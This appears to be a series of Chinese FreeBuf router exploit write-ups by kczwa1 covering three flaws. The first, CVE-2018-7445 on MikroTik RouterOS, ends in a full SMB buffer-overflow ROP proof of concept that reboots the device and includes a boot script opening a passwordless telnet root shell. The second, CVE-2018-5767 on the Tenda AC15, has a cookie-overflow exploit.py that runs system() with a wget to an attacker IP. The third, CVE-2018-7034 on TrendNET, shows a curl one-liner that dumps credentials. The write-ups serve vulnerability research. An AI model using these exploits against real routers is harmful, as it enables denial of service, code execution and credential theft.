路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

开机

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

按a选择全部,然后I安装,一路y

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

安装完成后重启,admin和空密码登然后setup命令设置ip

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

如果一切顺利此时可以ssh连接到rooteros了

Rooteros不支持一些基本的linux命令,为了更方便的操作,需要将busybox和gdbserver 放进去.

将cd选择为一个ubuntu的镜像

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

选择开机前进入bios设置启动选项,

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

选择先从cd启动

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

再重启虚拟机, 选择 try ubuntu

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

进入系统后,将 /dev/sda2 mount到创建的临时文件夹

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

把busybox和gdbserver 拷贝到bin目录下

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

并创建如下路径的脚本,当路由器系统启动的时候会自动执行此脚本

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

PS:要修改这3个文件为可执行  

脚本内容:

#!/bin/bash
mkdir /ram/mybin
/flash/bin/busybox-i686 --install -s /ram/mybin
export PATH=/ram/mybin:$PATH
telnetd -p 23000 -l bash

再重启路由器后,就可以通过telnet连接进去

telnet192.168.174.160 23000

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

telnet成功

Namp 扫一下,发现并没有开139端口.

需要使用如下命令打开SMB服务.

Ip smb setenabled=yes

再用 ip smb print 查看

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

Nmap确认一下

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

Gdbsever attach上去, gdbserver 192.168.174.153:1234 –attach $(pidof smb)

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

好的,IDA远程调试, fire inthe hole

2.2 控制eip

栈溢出发生在下面函数, 其中a2为拷贝的源地址,a2第一个值被当做拷贝的长度,那么当a2第一位值大于a1的长度的时候,发生溢出

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

需要对服务器发送smb协议中的session信息才能进入到此函数处理中,需要如下的smb包

header =struct.pack(“!ccH”, NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS,len(data))

先用pwntool 找下 eip的位置

x=cyclic(500)

attack= header + x

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

cyclic_find(0x61617a61)=99

测试一下

buf = header + “\xff”*99+BBBB,此时crash在eip为42424242

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

2.3 rop链构造

Smb里面没有dlsym,system等东西,只能看看so了,先看下加载了哪些so

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

# cat /proc/sys/kernel/randomize_va_space

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

看一下发现aslr开启了,每次lib的地址都不 一样。

Dep也开启了

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

由于smb里面没有引用system和dlysm函数,vdso里面有int80,那么考虑用int80来调用sys_reboot.

用gdb attach到调试程序targetremote 192.168.174.160:1234

Vdso的地址是固定的,Vdso dump下来

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

找到godget

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

sys_reboot对应系统调用编号为88

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

需要构造4个参数

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

那么构造出如下参数

ebx=0xfee1dead

ecx=672274793

edx=0x1234567

esi=0

搜索godget:

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

构造如下的rop链

payload=""

#准备edx ecx ebx esi参数

payload +=p32(0x08054017)# : pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret

payload +=p32(0x1234567) # edx

payload +=p32(672274793) # ecx 

payload +=p32(0xfee1dead)# ebx

payload +=p32(0x0)# esi

payload +=p32(0xaaaaaaaa)# edi

payload +=p32(0xaaaaaaaa)# ebp

#准备eax ebx参数

payload +=p32(0x0804f7da)# : pop eax ; pop ebx ; pop ebp ; ret

payload +=p32(0x00000058) # eax = sys_reboot

payload +=p32(0xfee1dead) # ebx

payload +=p32(0xaaaaaaaa) # ebp

#call int80

payload +=p32(0xFFFFE422)# int 0x80; pop ebp; pop edx; pop ecx; ret

payload +=p32(0xaaaaaaaa) # ebp

payload +=p32(0x0) # edx

payload+= p32(0x0)  # ecx

执行后,

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器重启成功!

路由器第六弹 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

完整poc

#!/usr/bin/envpython

importsocket

importstruct

import sys

from pwnimport *

context(arch= 'i386', os = 'linux')

NETBIOS_SESSION_REQUEST= "\x81"

NETBIOS_SESSION_FLAGS= "\x00"

payload=""

payload +=p32(0x08054017)# : pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret

payload +=p32(0x1234567) # edx

payload +=p32(672274793) # ecx 

payload +=p32(0xfee1dead)# ebx

payload +=p32(0x0)# esi

payload +=p32(0xaaaaaaaa)# edi

payload +=p32(0xaaaaaaaa)# ebp

payload +=p32(0x0804f7da)# : pop eax ; pop ebx ; pop ebp ; ret

payload +=p32(0x00000058) # eax = sys_reboot

payload +=p32(0xfee1dead) # ebx

payload +=p32(0xaaaaaaaa) # eb

payload +=p32(0xFFFFE422)# int 0x80; pop ebp; pop edx; pop ecx; ret

payload +=p32(0xaaaaaaaa) # ebp

payload +=p32(0x0) # edx

payload +=p32(0x0)  # ecx

header =struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS,len(payload)+99)

x="\xff"*99

attack =header + x+payload

if __name__== "__main__":

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.connect(("192.168.174.160",139))

    s.send(attack)

*本文作者:kczwa1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文作者:kczwa1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

此前我们分析了四种路由器漏洞,现在终于写到 PWN 类的漏洞了。

传送门:

通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃

路由器漏洞复现分析第二弹:CNVD-2018-01084

路由器漏洞复现分析第三弹:DVRF INTRO题目分析

路由器漏洞复现分析第四弹:CVE-2018-7034

1.漏洞概述

CVE-2018-5767 TENDA AC15路由器权远程代码执行

参考信息:https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/

漏洞固件版本:

Tenda cn Ac15_firmware:15.03.1.16  

2.漏洞分析.

漏洞文件是bin/httpd

此处会将cookie中的password后面的值拷贝到变量var_1c0,造成栈溢出

CVE-2018-5767 路由器远程代码执行

Arm 小端结构.

CVE-2018-5767 路由器远程代码执行

先把arm架构的qemu拷贝过来

cp $(which qemu-arm-static) ./qemu

使用如下脚本调试:

#!/bin/bash

PORT="1234"

chroot ../qemu  -g $PORT  ./bin/httpd

此处会需要将connectcfm的返回值patch为1:

CVE-2018-5767 路由器远程代码执行

推荐一下keypatch 插件,可以在IDA中直接修改指令, https://github.com/keystone-engine/keypatch

CVE-2018-5767 路由器远程代码执行

之后http服务就可以运行起来了:

CVE-2018-5767 路由器远程代码执行

在R7WebsSecurityHandler中下好断点,

Exploit.py运行,断下来:

CVE-2018-5767 路由器远程代码执行

LR 存放返回值,地址为FECDC,var_1c0是要存放可控输入变量的地方FEB1C,所以我们的palyload为A*(FECDC-FEB1C)+BBBB(需要覆盖的返回地址)+ccccdddd。跑一波,发现没有断到pc=42424242的地方,而是[R3] 出错。

CVE-2018-5767 路由器远程代码执行

在拷贝完password后,还会看字符串里是否含有”.”且”.”之后三位为”gif”,如果有的话就会直接跳到结尾,而不会去到需要读取[R3]的地方,在payload里面加上.gif, pc到42424242处crash了

CVE-2018-5767 路由器远程代码执行

有nx,栈里的代码不能直接执行,因此必须ROP了。

CVE-2018-5767 路由器远程代码执行

查找libc 基址:

CVE-2018-5767 路由器远程代码执行

Libc=0x409c7000

但是此处有个坑,libc的地址并不正确,rop链会跳到错误的地方,

看一下puts函数的地址:

CVE-2018-5767 路由器远程代码执行

Puts在libc中的地址:

CVE-2018-5767 路由器远程代码执行

那么libc=409dccd4-35cd4=409A7000

Libc中有system函数,那么需要找一个pop r0,sp类似的代码把sp中的参数放到r0去

ROPgadget–binary=./lib/libc.so.0  | grep”mov r0, sp”

或者 –only “pop”| grep“r0”,但是pop {r0 pc} 这条命令无法使用,因为r0的参数太长,所以需要放到pc后面, 找到如下两个godget:

CVE-2018-5767 路由器远程代码执行

CVE-2018-5767 路由器远程代码执行

先将system pop到r3,再将 sp中的command参数放到r0,

构造如下exploit.py :

url = "http://%s:80/goform/exeCommand"%(host)      
libc=
0x409a7000
godget1=0x00018298 #pop r3 pc
godget1 = struct.pack("< I",godget1+libc)
system=
0x0005A270
system = struct.pack("< I", system+libc)
command=
"wget192.168.174.136"
godget2 = 0x00040cb8  # mov r0 sp; blx r3
godget2 = struct.pack("< I", godget2 + libc)
password =
"A" * 444+".gif"+godget1+system+godget2+command
req = urllib2.Request(url)
req.add_header(
"Cookie", "password=%s" % password)
try:
   resp = urllib2.urlopen(req)
except:
   
pass

在覆盖pc后,返回之前的栈的结构如下,6669672e为”.gif”,后面为布好的rop链

CVE-2018-5767 路由器远程代码执行

运行完后,通过-strace参数可以看到httpd在模拟环境中执行了我们想要执行的命令:

CVE-2018-5767 路由器远程代码执行

*本文作者:kczwa1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

漏洞信息

路由器漏洞复现分析第4弹:CVE-2018-7034

本系列中的前三篇文章参考如下:

通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃

路由器漏洞复现分析第二弹:CNVD-2018-01084

路由器漏洞复现分析第三弹:DVRF INTRO题目分析

TrendNET路由器权限绕过漏洞,攻击者通过设置$AUTHORIZED_GROUP >= 1绕过权限验证

漏洞参考信息:https://blogs.securiteam.com/index.php/archives/3627

受影响的路由器版本

TEW-751DR – v1.03B03

TEW-752DRU – v1.03B01

通过zoomeye搜索,能找到508台设备,主要用户分布于美国和马其顿.

路由器漏洞复现分析第4弹:CVE-2018-7034

使用curl -d “SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1″ http://[IP]/getcfg.php 命令可以直接获取到路由器的用户名和密码

路由器漏洞复现分析第4弹:CVE-2018-7034

漏洞分析

本次分析使用固件的是TEW751DR_FW103B03.

Binwalk解包后找到getcfg.php,位置如图

当AUTHORIZED_GROUP>=0的时候,getcfg就正常执行代码功能.

路由器漏洞复现分析第4弹:CVE-2018-7034

POC中传入的参数为SERVICES=DEVICE.ACCOUNT

$file最后可以拼接为/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php

打开这个文件,可以看到它能读取设备的各种信息包括用户名和密码 

路由器漏洞复现分析第4弹:CVE-2018-7034

造成验证漏洞的函数在htdoc/cgibin的 phpcgi_main函数,当cgibin_parse_request函数处理http请求的时候,sub_405AC0函数会获取AUTHORIZED_GROUP并存下来, 之后再调用sess_validate()作验证,因此可以非授权用户可以直接给AUTHORIZED_GROUP赋值来绕过验证

路由器漏洞复现分析第4弹:CVE-2018-7034

路由器漏洞复现分析第4弹:CVE-2018-7034

使用如下脚本调试存在漏洞的cgibin:

chroot . ./qemu  -0"phpcgi" -E REQUEST_METHOD="POST"  -EREQUEST_URI="getcfg?AUTHORIZED_GROUP=1" -E CONTENT_LENGTH=18 -ECONTENT_TYPE="application/x-www-form-urlencoded" -g $PORT -EREMOTE_ADDR="127.0.0.1"   -strace ./htdocs/cgibin "kkkkkkkkkkkk"

cgibin_parse_request中的parse_uri函数会调用sub_405AC0,此处从request_uri中取”?”后的字符,作为参数传入sub_403864

路由器漏洞复现分析第4弹:CVE-2018-7034

sub_405AC0调用后可以看已经把”AUTHORIZED_GROUP=1”存入全局变量

路由器漏洞复现分析第4弹:CVE-2018-7034

再继续执行到sess_validate()执行完毕

路由器漏洞复现分析第4弹:CVE-2018-7034

后面再将得到的这个值写入/var/run/xmldb_sock

路由器漏洞复现分析第4弹:CVE-2018-7034

*本文作者:kczwa1,转载请注明来自FreeBuf.COM